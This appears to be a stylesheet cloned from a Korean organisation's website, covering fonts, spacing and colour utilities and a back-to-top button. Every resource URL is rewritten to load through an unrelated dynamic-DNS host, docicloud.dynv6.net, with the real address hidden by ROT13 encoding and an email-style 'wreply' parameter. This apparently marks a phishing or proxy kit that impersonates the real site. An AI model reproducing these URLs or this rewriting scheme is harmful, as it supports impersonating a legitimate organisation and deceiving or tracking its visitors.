@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_iraqbef%2Sobbgfgenc-3.3.7%2Sqvfg%2Spff%2Sobbgfgenc.zva.pff';
@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_iraqbef%2Seq-anione-2.1.8%2Sqvfg%2Spff%2Seq-anione.pff';
@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2Synlbhg.pff'; /* Header, Footer*/
@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2Sani.pff%3Sire%3Q241125'; /* Nav */ 
@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2Sshyycntr.pff'; /* fullpage.css */
@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2Sznva-pbagrag.pff%3Sire%3Q241220'; /* Main Content */
@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2Sfyvpx.pff'; /* Slick Carousel */
@import 'http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2Snavzngvba.pff'; /* animaition*/

@font-face {
	font-family: 'NanumSquareNeo'; font-style: normal;
	src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2S..%2Sznva_sbag%2SAnahzFdhnerArbGGS-nYg.jbss') format('woff');
	font-weight: 300;
}
@font-face {
	font-family: 'NanumSquareNeo'; font-style: normal;
	src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2S..%2Sznva_sbag%2SAnahzFdhnerArbGGS-oEt.jbss') format('woff');
	font-weight: 400;
}
@font-face {
	font-family: 'NanumSquareNeo'; font-style: normal;
	src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2S..%2Sznva_sbag%2SAnahzFdhnerArbGGS-pOq.jbss') format('woff');
	font-weight: 600;
}
@font-face {
	font-family: 'NanumSquareNeo'; font-style: normal;
	src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2S..%2Sznva_sbag%2SAnahzFdhnerArbGGS-qRo.jbss') format('woff');
	font-weight: 700;
}
@font-face {
	font-family: 'NanumSquareNeo'; font-style: normal;
	src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2S..%2Sznva_sbag%2SAnahzFdhnerArbGGS-rUi.jbss') format('woff');
	font-weight: 800;
}

@-ms-viewport{width:auto; }

body {
    font-family:'NanumSquareNeo', Helvetica, Arial, sans-serif;
	overflow-x: hidden;
	_overflow-x:hidden;
	-webkit-text-size-adjust:none;
	min-width:320px;
	overflow-x:hidden;
	word-break:keep-all;
	color:#222;
	padding:0;
	margin:0;
	line-height: 1.5;
}

div, p, ul, dl, h4, h5 {transition:margin 0.3s ease-in-out; }
dl, ul, li, dd, dt {padding:0; margin:0; }

p {
	line-height: 1.5;
	margin-bottom:0;
}
a, button {
	color:inherit; cursor:pointer;
	-moz-transition:color 0.3s, background-color 0.3s, border-color 0.3s, transform 0.3s;
	-o-transition:color 0.3s, background-color 0.3s, border-color 0.3s, transform 0.3s;
	-webkit-transition:color 0.3s, background-color 0.3s, border-color 0.3s, transform 0.3s;
	transition:color 0.3s, background-color 0.3s, border-color 0.3s, transform 0.3s;
}
a:hover,
a:focus,
a:active,
a:visited,
a.active {
	color:inherit;
	text-decoration:none;
}
a:focus {outline:1px dotted; }

#book-download{color: #ffffff;}

h1,
h2,
h3,
h4,
h5,
h6 {
	margin:0;
	font-weight:700;
	font-family:'NanumSquareNeo', Helvetica, Arial, sans-serif;
}

ul, dl {padding:0; margin:0; }
dt {font-weight:normal; }
li {list-style:none; }
button {border:0; }
img {max-width:100%; }
input[type=password] {font-family:'arial', 'Noto Sans KR'; }
button, input, optgroup, select, textarea {font-family:inherit; color:inherit; }
label, strong, th, dt {font-weight:500; }
::-moz-selection {
	text-shadow: none;
	color:#fff;
	background: #0dcad5;
}
::selection {
	text-shadow: none;
	color:#fff;
	background: #0dcad5;
}
img::selection {
	background: transparent;
}
img::-moz-selection {
	background: transparent;
}

.mt5 {margin-top:5px !important; }
.mt10 {margin-top:7px !important; }
.mt20 {margin-top:10px !important; }
.mt30 {margin-top:15px !important; }
.mt40 {margin-top:20px !important; }
.mt50 {margin-top:25px !important; }
.mt60 {margin-top:30px !important; }
.mt70 {margin-top:40px !important; }
.mt80 {margin-top:50px !important; }
.mt90 {margin-top:50px !important; }
.mt100 {margin-top:50px !important; }

.mb5 {margin-bottom:5px !important; }
.mb10 {margin-bottom:7px !important; }
.mb20 {margin-bottom:10px !important; }
.mb30 {margin-bottom:15px !important; }
.mb40 {margin-bottom:20px !important; }
.mb50 {margin-bottom:25px !important; }
.mb60 {margin-bottom:30px !important; }
.mb70 {margin-bottom:40px !important; }
.mb80 {margin-bottom:50px !important; }
.mb90 {margin-bottom:50px !important; }
.mb100 {margin-bottom:50px !important; }

.txt_l, .txt-l {text-align:left !important; }
.txt_r, .txt-r {text-align:right !important; }
.txt_c, .txt-c {text-align:center !important; }
.mCenter {margin:0 auto; }

.fs10 {font-size:6px !important; }
.fs11 {font-size:8px !important; }
.fs12 {font-size:9px !important; }
.fs13 {font-size:11px !important; }
.fs14 {font-size:12px !important; }
.fs15 {font-size:12px !important; }
.fs16 {font-size:12px !important; }
.fs18 {font-size:14px !important; }
.fs20 {font-size:15px !important; }
.fs22 {font-size:16px !important; }
.fs24 {font-size:18px !important; }
.fs25 {font-size:18px !important; }
.fs26 {font-size:18px !important; }
.fs28 {font-size:18px !important; }
.fs30 {font-size:20px !important; }
.fs32 {font-size:20px !important; }
.fs35 {font-size:20px !important; }
.fs40 {font-size:20px !important; line-height:1em; }
.fs42 {font-size:20px !important; line-height:1em; }
.fs48 {font-size:20px !important; line-height:1em; }
.fs50 {font-size:25px !important; line-height:1em; }
.fs80 {font-size:28px !important; line-height:1em; }

.fw100 {font-weight:100; }
.fw200 {font-weight:200; }
.fw300 {font-weight:300; }
.fw400 {font-weight:400; }
.fw500 {font-weight:500; }
.fw600 {font-weight:600; }
.fw700 {font-weight:700; }
.fw800 {font-weight:800; }
.fw900 {font-weight:900; }

.op9 {opacity:.9; }
.op8 {opacity:.8; }
.op7 {opacity:.7; }
.op6 {opacity:.6; }
.op5 {opacity:.5; }
.op4 {opacity:.4; }
.op3 {opacity:.3; }

.c-white {color:#fff !important}
.c-grey-1 {color:#242424 !important}
.c-grey-2 {color:#333 !important}
.c-grey-3 {color:#7a7a7a !important}
.c-grey-4 {color:#aaaaab !important}
.c-grey-5 {color:#c9c9c9 !important}
.c-grey-6 {color:#eee !important}
.c-black {color:#000 !important}

.c-point-red {color:#6bc126 !important}
.c-point-deepblue {color:#2f4265 !important}
.c-point-skyblue {color:#0098e3 !important}
.c-point-red-2 {color:#e60012 !important}
.c-point-forestgreen {color:#58b431 !important}
.c-point-blue {color:#004ea2 !important}
.c-point-yellow {color:#fffc00 !important}
.c-point-yellow-2 {color:#f6dc00;}

#subLocation2-new h3 {
	font-family: 'NotoSansM', '돋움', Doutm, 'sans-serif';
	font-size: 36px;
	font-weight: normal;	
}

@media (min-width: 1280px) {
	.mt5 {margin-top:5px !important; }
	.mt10 {margin-top:10px !important; }
	.mt20 {margin-top:20px !important; }
	.mt30 {margin-top:30px !important; }
	.mt40 {margin-top:40px !important; }
	.mt50 {margin-top:50px !important; }
	.mt60 {margin-top:60px !important; }
	.mt70 {margin-top:70px !important; }
	.mt80 {margin-top:80px !important; }
	.mt90 {margin-top:90px !important; }
	.mt100 {margin-top:100px !important; }

	.mb5 {margin-bottom:5px !important; }
	.mb10 {margin-bottom:10px !important; }
	.mb20 {margin-bottom:20px !important; }
	.mb30 {margin-bottom:30px !important; }
	.mb40 {margin-bottom:40px !important; }
	.mb50 {margin-bottom:50px !important; }
	.mb60 {margin-bottom:60px !important; }
	.mb70 {margin-bottom:70px !important; }
	.mb80 {margin-bottom:80px !important; }
	.mb90 {margin-bottom:90px !important; }
	.mb100 {margin-bottom:100px !important; }

	.fs10 {font-size:10px !important; }
	.fs11 {font-size:11px !important; }
	.fs12 {font-size:12px !important; }
	.fs13 {font-size:13px !important; }
	.fs14 {font-size:14px !important; }
	.fs15 {font-size:15px !important; }
	.fs16 {font-size:16px !important; }
	.fs18 {font-size:18px !important; }
	.fs20 {font-size:20px !important; }
	.fs22 {font-size:22px !important; }
	.fs24 {font-size:24px !important; }
	.fs25 {font-size:25px !important; }
	.fs26 {font-size:26px !important; }
	.fs28 {font-size:28px !important; }
	.fs30 {font-size:30px !important; }
	.fs32 {font-size:32px !important; }
	.fs35 {font-size:35px !important; }
	.fs40 {font-size:40px !important; line-height:1em; }
	.fs42 {font-size:42px !important; line-height:1em; }
	.fs48 {font-size:48px !important; line-height:1em; }
	.fs50 {font-size:50px !important; line-height:1em; }
	.fs80 {font-size:80px !important; line-height:1em; }
}
.w100 {width:100%; }
.w90 {width:100%; }
.w80 {width:100%; }
.w70 {width:100%; }
.w60 {width:100%; }
.w50 {width:100%; }
.w40 {width:100%; }
.w30 {width:100%; }
.w20 {width:100%; }
.w10 {width:100%; }
@media (min-width: 768px) {
	.w90 {width:90%; }
	.w80 {width:80%; }
	.w70 {width:70%; }
	.w60 {width:60%; }
	.w50 {width:50%; }
	.w40 {width:40%; }
	.w30 {width:30%; }
	.w20 {width:20%; }
	.w10 {width:10%; }
}
/*
* @subsection   ToTop
* @license      MIT license - http://opensource.org/licenses/MIT
* @version      1.0.0
*/
.ui-to-top {
	display:none !important;
	position: fixed;
	right: 10px;
	bottom: 10px;
	-webkit-transform: translateY(180px);
	  -ms-transform: translateY(180px);
	      transform: translateY(180px);
	z-index: 999;
	width: 30px;
	height: 30px;
	font-size: 20px;
	line-height: 28px;
	text-decoration: none !important;
	text-align: center;
	overflow: hidden;
	transition: .3s all ease;
	background:rgba(255, 255, 255, .7);
	color: #999 !important;
	border:1px solid #d9d9d9;
}
.top-icon {padding:10px; }
.top-icon:before {content:""; display:block; width:11px; height:10px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2S..%2Sznva_vzntrf%2Spbzz%2Svpb-vpba.cat') no-repeat -46px -25px / 200px; margin:0 auto; }

html.lt-ie9 .ui-to-top {
	right: 15px;
	bottom: 15px;
	width: 50px;
	height: 50px;
	font-size: 30px;
	line-height: 46px;
	background:#1986fd;
	color: #ffffff !important;
	border:0;
}
.ui-to-top:hover {
	text-decoration: none;
	border-color:#111;
	color: #ffffff;
}
.ui-to-top:focus {
	color: #ffffff;
}
.ui-to-top.active {
	-webkit-transform: translateY(0);
	-ms-transform: translateY(0);
	transform: translateY(0);
}

@media (min-width: 992px) {
	.ui-to-top {
		right: 30px;
		bottom: 160px;
		width: 80px;
		height: 80px;
		font-size: 30px;
		line-height: 46px;
		background:#2e8ae7 linear-gradient(120deg, #2e8ae7, #9a5af0);
		color: #ffffff !important;
		border:0;
		box-shadow:0 3px 3px rgba(0, 0, 0, .12);
	}

	.ui-to-top:hover {
		text-decoration: none;
		background:#2e8ae7 linear-gradient(-45deg, #2e8ae7, #9a5af0);
		color: #ffffff;
	}

	.ui-to-top:focus {
		color: #ffffff;
	}

	.ui-to-top.active {
		-webkit-transform: translateY(0);
		  -ms-transform: translateY(0);
		      transform: translateY(0);
	}

	.top-icon {padding:15px; }
	.top-icon:before {content:""; display:block; width:22px; height:20px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.vvgc.xe%2Serfbheprf%2Sznva_pff%2S..%2Sznva_vzntrf%2Spbzz%2Svpb-vpba.cat') no-repeat -69px -50px; margin:0 auto; }
	.top-icon:after {content:"TOP"; font:600 16px 'Roboto'; line-height:16px; display:block; margin-top:10px; }
}

.txt-title{font-weight: 800;}
.title-con{color: rgba(34,34,34,0.5); margin-top: 10px;}


a { border:0; text-decoration:none; cursor:pointer; }
a.button { display: inline-block; vertical-align: middle; }
:focus-visible, button:focus-visible, a:focus-visible { outline:3px solid #000; border-radius: 5px;}
